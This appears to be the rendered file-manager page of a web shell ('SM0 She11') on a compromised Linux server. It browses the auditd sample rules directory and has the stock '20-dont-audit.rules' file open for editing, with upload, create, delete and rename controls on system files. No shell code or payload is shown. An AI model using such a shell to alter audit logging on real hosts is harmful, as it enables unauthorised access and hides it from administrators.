SM0 She11

Path: / / usr / share / doc / audit-2.8.5 / rules

Full Path (server): /usr/share/doc/audit-2.8.5/rules

Create Fil3

Upl04d Fil3

• 📄 10-base-config.rules [E] [D]
  [R]
• 📄 10-no-audit.rules [E] [D]
  [R]
• 📄 11-loginuid.rules [E] [D]
  [R]
• 📄 12-cont-fail.rules [E] [D]
  [R]
• 📄 12-ignore-error.rules [E] [D]
  [R]
• 📄 20-dont-audit.rules [E] [D]
  [R]
• 📄 21-no32bit.rules [E] [D]
  [R]
• 📄 22-ignore-chrony.rules [E] [D]
  [R]
• 📄 23-ignore-filesystems.rules [E] [D]
  [R]
• 📄 30-nispom.rules [E] [D]
  [R]
• 📄 30-ospp-v42.rules [E] [D]
  [R]
• 📄 30-pci-dss-v31.rules [E] [D]
  [R]
• 📄 30-stig.rules [E] [D]
  [R]
• 📄 31-privileged.rules [E] [D]
  [R]
• 📄 32-power-abuse.rules [E] [D]
  [R]
• 📄 40-local.rules [E] [D]
  [R]
• 📄 41-containers.rules [E] [D]
  [R]
• 📄 42-injection.rules [E] [D]
  [R]
• 📄 43-module-load.rules [E] [D]
  [R]
• 📄 70-einval.rules [E] [D]
  [R]
• 📄 71-networking.rules [E] [D]
  [R]
• 📄 99-finalize.rules [E] [D]
  [R]
• 📄 README-rules [E] [D]
  [R]

Editing: 20-dont-audit.rules

## This is for don't audit rules. We put these early because audit ### is a first match wins system. Uncomment the rules you want. ## Cron jobs fill the logs with stuff we normally don't want #-a never,user -F subj_type=crond_t ## This prevents chrony from overwhelming the logs #-a never,exit -F arch=x86_64 -S adjtimex -F auid=unset -F uid=chrony -F subj_type=chronyd_t ### This is not very interesting and wastes a lot of space if ### the server is public facing #-a always,exclude -F msgtype=CRYPTO_KEY_USER
Save